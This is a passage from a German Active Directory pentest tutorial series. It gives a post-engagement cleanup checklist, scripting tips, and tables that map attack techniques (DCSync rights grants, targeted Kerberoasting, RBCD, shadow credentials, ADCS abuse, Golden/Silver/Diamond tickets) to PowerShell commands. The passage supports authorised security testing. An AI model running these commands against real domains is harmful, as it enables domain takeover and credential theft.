Cleanup-Checkliste

Nach einem Engagement solltest du aufräumen:

# SPNs entfernen (Targeted Kerberoasting)
Set-DomainUser -Identity "victim" -ClearSPN "HTTP/fake.contoso.com"

# Pre-Auth wieder aktivieren (ASREPRoasting)
Set-DomainUser -Identity "victim" -ClearDontReqPreauth

# RBCD entfernen
Set-DomainComputer -Identity "FILESERVER01" -ClearRBCD -Force

# Shadow Credentials entfernen (alle auf einmal)
Set-DomainUser -Identity "victim" -ClearShadowCredentials -Force
Set-DomainComputer -Identity "DC01" -ClearShadowCredentials -Force

# Delegation-Flags entfernen
Set-DomainComputer -Identity "YOURCOMPUTER$" -ClearTrustedForDelegation
Set-DomainComputer -Identity "YOURCOMPUTER$" -ClearConstrainedDelegation -Force

# UAC-Flags zurücksetzen (User und Computer)
Set-DomainComputer -Identity "YOURCOMPUTER$" -ClearDontReqPreauth
Set-DomainComputer -Identity "DC01" -ClearNotDelegated

# ACEs entziehen
Set-DomainObject -Identity "DC=contoso,DC=com" -RevokeACE -Principal "CONTOSO\attacker" -ExtendedRight "DCSync"

# Gruppenmitgliedschaften entfernen
Set-DomainGroup -Identity "Domain Admins" -RemoveMember "attacker"

Praktische Tipps

PassThru verwenden

Für Scripting und Automatisierung:

$result = Set-DomainUser -Identity "target" -SetSPN "HTTP/fake.contoso.com" -PassThru

if ($result.Success) {
    Write-Host "SPN erfolgreich gesetzt!"
} else {
    Write-Host "Fehler: $($result.Message)"
}

Verbindungsparameter übergeben

Für Remote-Domains:

Set-DomainUser -Identity "target" -SetSPN "HTTP/fake.contoso.com" -Domain "child.contoso.com" -Server "dc01.child.contoso.com"

Pipeline-Support

Mehrere Objekte auf einmal modifizieren:

# Alle Service Accounts Kerberoastable machen (nur Demo!)
Get-DomainUser -LDAPFilter "(description=*service*)" | ForEach-Object {
    Set-DomainUser -Identity $_.sAMAccountName -SetSPN "HTTP/fake-$($_.sAMAccountName).contoso.com"
}

Zusammenfassung

AD-Manipulation

Technik	Funktion	Voraussetzung
DCSync	`Set-DomainObject -GrantACE -ExtendedRight DCSync`	WriteDacl auf Domain
Targeted Kerberoast	`Set-DomainUser -SetSPN`	WriteProperty auf User
ASREPRoast	`Set-DomainUser -DontReqPreauth`	WriteProperty auf User
Password Reset	`Set-DomainUser -NewPassword`	ForceChangePassword
Group Takeover	`Set-DomainGroup -Owner/-AddMember`	WriteOwner auf Gruppe
RBCD	`Set-DomainComputer -AddRBCD`	WriteProperty auf msDS-AllowedToActOnBehalfOfOtherIdentity
Shadow Creds	`Set-DomainUser/Computer -AddShadowCredential`	WriteProperty auf msDS-KeyCredentialLink
ADCS ESC1/ESC4	`Request-ADCSCertificate -Impersonate/-ModifyTemplate`	Enrollment-Rechte + verwundbares Template
Unconstrained	`Set-DomainComputer -SetTrustedForDelegation`	WriteProperty auf userAccountControl
UAC Flags (User)	`Set-DomainUser -PasswordNotRequired/-ReversibleEncryption/...`	WriteProperty auf userAccountControl
UAC Flags (Computer)	`Set-DomainComputer -PasswordNotRequired/-DontReqPreauth/...`	WriteProperty auf userAccountControl

Ticket Forging

Technik	Funktion	Voraussetzung
Golden Ticket	`Invoke-TicketForge -Mode Golden`	krbtgt Key (AES256/RC4)
Silver Ticket	`Invoke-TicketForge -Mode Silver`	Service Account Key
Diamond Ticket	`Invoke-TicketForge -Mode Diamond`	krbtgt AES256 Key + User Credentials

← Episode 5: Output & Reports | Episode 7: Kerberos Internals — coming soon

Erinnerung: Die Set-*, New-* und Invoke-TicketForge Funktionen sind experimentell. Immer zuerst im eigenen Lab testen und alle Änderungen dokumentieren!

Alle hier beschriebenen Techniken dürfen nur mit ausdrücklicher Genehmigung und im Einklang mit geltendem Recht eingesetzt werden.

Happy Hacking - aber nur mit Genehmigung!

Rechtlicher Hinweis

Experimenteller Status